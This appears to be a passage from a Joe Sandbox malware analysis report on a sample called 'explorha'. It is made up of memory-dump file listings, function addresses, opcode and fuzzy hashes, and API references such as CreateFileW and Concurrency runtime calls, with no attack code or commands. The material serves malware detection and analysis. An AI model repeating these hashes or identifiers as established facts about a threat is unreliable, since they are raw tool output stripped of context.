Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 75118b68ab456c62286189d464dd66bf1e0005d40e06e5b5e3c5e048b395e826
Instruction ID: d243c9e1ed3070561c0e5e3cfcf4f13756d67219e9cc89f3d430eec5ca3f792a
Opcode Fuzzy Hash: 75118b68ab456c62286189d464dd66bf1e0005d40e06e5b5e3c5e048b395e826
Instruction Fuzzy Hash: 3EE06D351012226AE63127659C41B6B7ECCDB4A3A0F2527E1AC09A71C1DF62DC0189E9

Uniqueness

Uniqueness Score: -1.00%

Function 00B12D95 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00B13185,?,?,00000000,?,00B13185,00000000,0000000C), ref: 00B12DB2

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e0fb1601bb9e3b0194ce3b4112b3bd5705dc72080e3a32c296603043c94aad9c
Instruction ID: 0b6b1560f13cb174c7114934730cf2cf0808ee787aa6a438bea57c80620f4e48
Opcode Fuzzy Hash: e0fb1601bb9e3b0194ce3b4112b3bd5705dc72080e3a32c296603043c94aad9c
Instruction Fuzzy Hash: 27D0923204020DBBDF129E84DD02EDA3BAAFB88714F414110FE1866120C732E831EB94

Uniqueness

Uniqueness Score: -1.00%

Function 04920BBA Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69189a316be2d59aef5b499cfa6f3b443312fddbca0cb0e3bbd195464dddff79
Instruction ID: d9ce4a436b06a85588115ce200372923a6b3ce2ff318dbb8c492aa67f5b357d7
Opcode Fuzzy Hash: 69189a316be2d59aef5b499cfa6f3b443312fddbca0cb0e3bbd195464dddff79
Instruction Fuzzy Hash: AF2137E724E2747EA64296516B549FB7F6EE9C3330330883AF143D650AF3942A4D7132

Uniqueness

Uniqueness Score: -1.00%

Function 04920C70 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88c15d9d79542ff51c6cef1b872acd0713e6efdcc4820fcecec3208362ff7ebb
Instruction ID: 7bda9359c0af9dedff34ba8ac9c59593fad9171369309eb6e873bbc4db5072a1
Opcode Fuzzy Hash: 88c15d9d79542ff51c6cef1b872acd0713e6efdcc4820fcecec3208362ff7ebb
Instruction Fuzzy Hash: 5711AAD324E370AED783816107411F52F6FA6832307304C76F2879B64BF28975097263

Uniqueness

Uniqueness Score: -1.00%

Function 04920C29 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1e3c3a6caeb2ff4680f25776b7ad68c665543a3b52a47266c2eda5167d9e6ca
Instruction ID: 8e7c328985ccd71a81d70c651a4f23212550904e825a79e22d205c49134c3fe8
Opcode Fuzzy Hash: e1e3c3a6caeb2ff4680f25776b7ad68c665543a3b52a47266c2eda5167d9e6ca
Instruction Fuzzy Hash: 6D11CEE220D664AFD74393548B955F63F6AAA972303300C7AF1879B54BF2952145A222

Uniqueness

Uniqueness Score: -1.00%

Function 04920CBC Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec7837a48b73ac37a3881786a83e3fa0b8707ac3920b445b62ec09ba76fc16b
Instruction ID: 2aa67069de5950eaf6f5533dceef4f506d164bd6a393b738661b673a09ac8613
Opcode Fuzzy Hash: 0ec7837a48b73ac37a3881786a83e3fa0b8707ac3920b445b62ec09ba76fc16b
Instruction Fuzzy Hash: 11117DE354F7745EE35299A057854F63F6AAAA32303304C36E246C650EF24978069122

Uniqueness

Uniqueness Score: -1.00%

Function 04920BF7 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f1a423a6e3174649ba4739a537b6b2cbdd6b8b0cdb8e39ede348c390696b068
Instruction ID: a9c5393635925371150d62ca0d28cd20cf6a307a7e907d5108dad60b0dadfcb6
Opcode Fuzzy Hash: 6f1a423a6e3174649ba4739a537b6b2cbdd6b8b0cdb8e39ede348c390696b068
Instruction Fuzzy Hash: BF1148D724F234BD9282D58157415FA2F6FE6A32303304C32F30B56A4EF29575597162

Uniqueness

Uniqueness Score: -1.00%

Function 04920BF9 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc856cbadfd7c593e381db25731270bf7c8b724985d1335aff5dd2529f8142a3
Instruction ID: 37ad4894b69dcd39aea5c864b53a32d8f96f2bdb1023b542119b7376ef58435e
Opcode Fuzzy Hash: fc856cbadfd7c593e381db25731270bf7c8b724985d1335aff5dd2529f8142a3
Instruction Fuzzy Hash: FD1148D724F234BD9282D58147415FA2E6FA6A32303304C32F30B56A4EF29575597162

Uniqueness

Uniqueness Score: -1.00%

Function 04920C01 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55fea3c6a445c5a0202986d12772d5d63f66a989e80bbc7aaae89c234e1e1db1
Instruction ID: 0df13407421c70b1697af0204c167de0581d01292d47dee237b83109bd527052
Opcode Fuzzy Hash: 55fea3c6a445c5a0202986d12772d5d63f66a989e80bbc7aaae89c234e1e1db1
Instruction Fuzzy Hash: 3B11ABE324E334BE9282D59247415F92E6FB6932303304C31F30B9BA4EF29575493162

Uniqueness

Uniqueness Score: -1.00%

Function 04920C84 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e746ef6aa4158d90fc3ddd3003f931b7816288e086966d7472601ea58c8b309a
Instruction ID: cb7ed2d95a0aef96789a9a34c9fcc24d21fae3e578c987f67d662c432b166038
Opcode Fuzzy Hash: e746ef6aa4158d90fc3ddd3003f931b7816288e086966d7472601ea58c8b309a
Instruction Fuzzy Hash: 90F07DD774F634AEA241E4A157459FB2F1FAAD3A303304C35F3479694EF284B90A2072

Uniqueness

Uniqueness Score: -1.00%

Function 04920C9B Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f35dd80d8ed3e1ffc79fb8f7348d08154a1051a096e1b9a055aa41f5dab993a
Instruction ID: 9bd1e6762be38fcb631d738cec5b8e4cbf5f4adbd84724618fdb1eda57ec20f2
Opcode Fuzzy Hash: 8f35dd80d8ed3e1ffc79fb8f7348d08154a1051a096e1b9a055aa41f5dab993a
Instruction Fuzzy Hash: 54F02BD724A334ADE242B1916B459FB6F6EAAD36313304C35F347A6A4EF2C576493032

Uniqueness

Uniqueness Score: -1.00%

Function 04920CAF Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3792ad0257e7069e71345d9495221cf3be3ed2b911619cd0050dcd987b165b71
Instruction ID: fb9ff8de23b39dddbf964b65367aa1da3a7a985b7be7652aecbeeb7bdb36c1cd
Opcode Fuzzy Hash: 3792ad0257e7069e71345d9495221cf3be3ed2b911619cd0050dcd987b165b71
Instruction Fuzzy Hash: B2F0E0D724B2345DA242B19157455F55F5F99D75303300C31E247D694AB2C5754E6032

Uniqueness

Uniqueness Score: -1.00%

Function 04920CEF Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd84af17af28a466916436be43058df883303c1ce3f50d2d401e1fff6d15305
Instruction ID: 03d7bf553d8833c27705be20690f8dcb62cf3cf9b504e777a28112cee2220d4d
Opcode Fuzzy Hash: 7dd84af17af28a466916436be43058df883303c1ce3f50d2d401e1fff6d15305
Instruction Fuzzy Hash: DAE0D86B28D3345EA182A19167054B96B6EE9D36303304C33F147D714BE5CA7A4D3032

Uniqueness

Uniqueness Score: -1.00%

Function 04920D07 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2296d99094d51b1ea26da4dfa08ed1cdf8b48174dc17743266c8d61d41d059a8
Instruction ID: 1dd54c19d191bfb7cff235f778ae37e1d8edd901afe4bce403f7eb00e3f3958a
Opcode Fuzzy Hash: 2296d99094d51b1ea26da4dfa08ed1cdf8b48174dc17743266c8d61d41d059a8
Instruction Fuzzy Hash: BBE048276893249F9291A5A163181A93B66BAA31303304832D246C714EE6D9754A6121

Uniqueness

Uniqueness Score: -1.00%

Function 04920D27 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2935266709.0000000004920000.00000040.00001000.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4920000_explorha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7930b0c281b1ae73b998c69a5d1547e3b367ccaa1060c3d8ae22620dcab80054
Instruction ID: 5f5977ea9651a3c567bef4da63cd89a4fb4aabfd1f79c0c15b7f27581d0ef383
Opcode Fuzzy Hash: 7930b0c281b1ae73b998c69a5d1547e3b367ccaa1060c3d8ae22620dcab80054
Instruction Fuzzy Hash: 60D023176C523447514161E1671427D1F6969935313B00D33D147C714BD589A14DB022

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00AF24A3 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AF25A6
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AF25F2

Part of subcall function 00AF3CED: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00AF3DE0

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00AF265E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AF267A
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AF26CE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AF26FB
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00AF2751

Strings

(, xrefs: 00AF25B2

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 610e6d1f40c8ebcd831a566aaf4e5ad924186c64faa3000c5c1efd08e0bd698c
Instruction ID: 465b21b4977d42823d1b91ba1efba0b663bcd89c9444816ef106c05332edb1c0
Opcode Fuzzy Hash: 610e6d1f40c8ebcd831a566aaf4e5ad924186c64faa3000c5c1efd08e0bd698c
Instruction Fuzzy Hash: 53B17DB1A00619AFDB29DF98D981B7EB7B4FF44300F24416DE905AB781D730AE81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2C92 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF438C: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00AF439F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00AF2CA4

Part of subcall function 00AF449F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00AF44C9
Part of subcall function 00AF449F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00AF4538

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00AF2DD6
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00AF2E36
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00AF2E42
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00AF2E7D
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00AF2E9E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00AF2EAA
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00AF2EB3
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00AF2ECB

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
